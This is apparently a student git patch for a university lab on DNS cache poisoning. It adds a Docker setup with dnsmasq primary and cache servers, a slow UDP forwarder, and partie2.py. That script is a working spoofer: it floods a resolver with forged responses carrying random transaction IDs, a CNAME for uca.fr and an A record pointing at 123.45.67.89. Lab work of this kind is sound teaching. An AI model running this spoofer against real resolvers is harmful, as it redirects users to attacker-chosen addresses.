From a2bbcc77397cf2177d0455e58848d93ea3204db4 Mon Sep 17 00:00:00 2001 From: visoulier Date: Thu, 10 Oct 2024 20:41:42 +0200 Subject: [PATCH] add partie2 --- config-spoofing/dns-cache/dnsmasq.conf | 0 config-spoofing/dns-primary/dnsmasq.conf | 4 + docker-compose.yml | 45 ++++++ partie2.py | 176 +++++++++++++++++++++++ requirements.txt | 1 + scripts/slow.py | 22 +++ 6 files changed, 248 insertions(+) create mode 100644 config-spoofing/dns-cache/dnsmasq.conf create mode 100644 config-spoofing/dns-primary/dnsmasq.conf create mode 100644 docker-compose.yml create mode 100644 partie2.py create mode 100644 requirements.txt create mode 100644 scripts/slow.py diff --git a/config-spoofing/dns-cache/dnsmasq.conf b/config-spoofing/dns-cache/dnsmasq.conf new file mode 100644 index 0000000..e69de29 diff --git a/config-spoofing/dns-primary/dnsmasq.conf b/config-spoofing/dns-primary/dnsmasq.conf new file mode 100644 index 0000000..41d7a57 --- /dev/null +++ b/config-spoofing/dns-primary/dnsmasq.conf @@ -0,0 +1,4 @@ +no-resolv +query-port=6969 +port=7654 +server=10.5.0.3 diff --git a/docker-compose.yml b/docker-compose.yml new file mode 100644 index 0000000..e846a0c --- /dev/null +++ b/docker-compose.yml @@ -0,0 +1,45 @@ +services: + dns-primary: + restart: always + image: hub.codefirst.iut.uca.fr/victor.soulier/pm2-tp-dns-poisoning:latest + ports: + - "7654:7654/udp" + - "6969:6969/udp" + volumes: + - ./config-spoofing/dns-primary/dnsmasq.conf:/etc/dnsmasq.conf + cap_add: + - NET_ADMIN + networks: + dns-network: + ipv4_address: 10.5.0.2 + + py-slower: + restart: always + image: python:3.13.0 + volumes: + - ./scripts/slow.py:/slow.py + cap_add: + - NET_ADMIN + networks: + dns-network: + ipv4_address: 10.5.0.3 + command: python slow.py + + dns-cache: + restart: always + image: hub.codefirst.iut.uca.fr/victor.soulier/pm2-tp-dns-poisoning:latest + volumes: + - ./config-spoofing/dns-cache/dnsmasq.conf:/etc/dnsmasq.conf + cap_add: + - NET_ADMIN + networks: + dns-network: + ipv4_address: 10.5.0.4 + +networks: + dns-network: + driver: bridge + ipam: + config: + - subnet: 10.5.0.0/16 + gateway: 10.5.0.1 \ No newline at end of file diff --git a/partie2.py b/partie2.py new file mode 100644 index 0000000..ac37cff --- /dev/null +++ b/partie2.py @@ -0,0 +1,176 @@ +#!/usr/bin/python3 + +import multiprocessing +import socket +import random +import time +from dns import resolver + +HEADER_SIZE = 12 + + +class RecordType: + """DNS Record TYPE""" + A = b"\x00\x01" + NS = b"\x00\x02" + CNAME = b"\x00\x05" + CLASS_IN = b"\x00\x01" + + +class Encoder: + """Encode utilites function""" + + @staticmethod + def encode_question_entry(name: bytes, type: bytes, qclass: bytes) -> bytes: + """Encode entry question section""" + return Encoder.encode_name(name) + type + qclass + + @staticmethod + def encode_response_entry(name: bytes, type: bytes, clazz: bytes, ttl: int, rdata: bytes): + """Encode entry response section""" + return (name + + type + + clazz + + ttl.to_bytes(length=4, byteorder="big") + + len(rdata).to_bytes(length=2, byteorder="big") + + rdata) + + @staticmethod + def encode_name_pointer(offset_since_start: int): + """Encode name pointer""" + # Note: this wrongly assumes that offset <= 255 + return bytes((0xC0, offset_since_start)) + + @staticmethod + def encode_name(name: bytes) -> bytes: + """a domain name represented as a sequence of labels, where + each label consists of a length octet followed by that + number of octets.""" + # https://datatracker.ietf.org/doc/html/rfc1035#section-4.1.2 + encoded = b"" + + for component in name.split(b'.'): + # Chaque composant est précédé par sa longueur en octet encodé sur 1 octet + encoded += len(component).to_bytes(length=1, signed=False) + # Contenu + encoded += component + + # Fin du nom + encoded += b'\x00' + + return encoded + + @staticmethod + def encode_header(response: bool, opcode: int, authoritative: bool, truncated: bool, rec_d: bool, rec_a: bool, rcode: int, questions: int, answers: int, authorities: int, additional: int): + flags = [0, 0] + if response: + flags[0] |= 0x80 + flags[0] |= (opcode & 0x0F) << 3 + if authoritative: + flags[0] |= 0x04 + if truncated: + flags[0] |= 0x02 + if rec_d: + flags[0] |= 0x01 + + if rec_a: + flags[1] |= 0x80 + flags[1] |= rcode & 0x0F + + # header = tid.to_bytes(length=2, byteorder="big") + header = bytes(flags) + header += questions.to_bytes(length=2, byteorder="big") + header += answers.to_bytes(length=2, byteorder="big") + header += authorities.to_bytes(length=2, byteorder="big") + header += additional.to_bytes(length=2, byteorder="big") + + return header + + +class DNSServer: + """Represent a DNS Server""" + + def __init__(self, ip: str, port: int, query_port: int): + self._ip: str = ip + self._port: int = port + self._query_port: int = query_port + + @property + def ip(self) -> str: + return self._ip + + @property + def port(self) -> int: + return self._port + + @property + def query_port(self) -> int: + return self._query_port + + +class Request: + def __init__(self, dns: DNSServer): + self._dns: DNSServer = dns + + def post(self, pipe, spoofed_name_server: str, address: bytes): + spoofed_name_server_encoded: bytes = spoofed_name_server.encode() + sok = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + + name_server_encoded: bytes = pipe.recv() + + while True: + packet_body = Encoder.encode_header( + True, 0, False, False, True, True, 0, 1, 2, 0, 0) + packet_body += Encoder.encode_question_entry( + name_server_encoded, RecordType.A, RecordType.CLASS_IN) + packet_body += Encoder.encode_response_entry(Encoder.encode_name( + name_server_encoded), RecordType.CNAME, RecordType.CLASS_IN, 3600, Encoder.encode_name(spoofed_name_server_encoded)) + packet_body += Encoder.encode_response_entry(Encoder.encode_name( + spoofed_name_server_encoded), RecordType.A, RecordType.CLASS_IN, 3600, address) + + while not pipe.poll(): + transaction_id = random.randbytes(2) + + sok.sendto(transaction_id + packet_body, + (self._dns.ip, self._dns.query_port,)) + + name_server_encoded = pipe.recv() + + + def get(self, pipe, name_server: str): + resolve = resolver.Resolver() + resolve.nameservers = [self._dns.ip] + resolve.port = self._dns.port + + while True: + pipe.send(name_server.encode()) + time.sleep(1) + + try: + res = resolve.resolve(name_server) + print("Found", res.response.answer) + except resolver.NXDOMAIN: + print("Not found") + except resolver.LifetimeTimeout: + print("empty / timeout") + except resolver.NoAnswer: + print("No answer") + + +dns = DNSServer("127.0.0.1", 7654, 6969) +req = Request(dns) +cpt = 0 +while True: + new_address = bytes((123, 45, 67, 89)) + domain = "uca.fr" + spoofed_sub_domain = "artichaut" + spoofed_domain = spoofed_sub_domain + "." + domain + + parent, child = multiprocessing.Pipe() + + p = multiprocessing.Process(target=req.post, args=(child, spoofed_domain, bytes((123,45,67,89)))) + p.start() + + req.get(parent, domain) + + p.join() diff --git a/requirements.txt b/requirements.txt new file mode 100644 index 0000000..40ff886 --- /dev/null +++ b/requirements.txt @@ -0,0 +1 @@ +dnspython==2.7 diff --git a/scripts/slow.py b/scripts/slow.py new file mode 100644 index 0000000..50a6c5b --- /dev/null +++ b/scripts/slow.py @@ -0,0 +1,22 @@ +import socket +import signal +import sys +from time import sleep + +def shutdown(sig, frame): + sys.exit(0) + + +signal.signal(signal.SIGTERM, shutdown) +sin = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) +sout = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) +sin.bind(("0.0.0.0", 53)) +print("started") + +while True: + buf, client = sin.recvfrom(512) + print("Fwd") + sout.sendto(buf, ("10.5.0.4", 53)) + buf = sout.recv(512) + sleep(3) + sin.sendto(buf, client)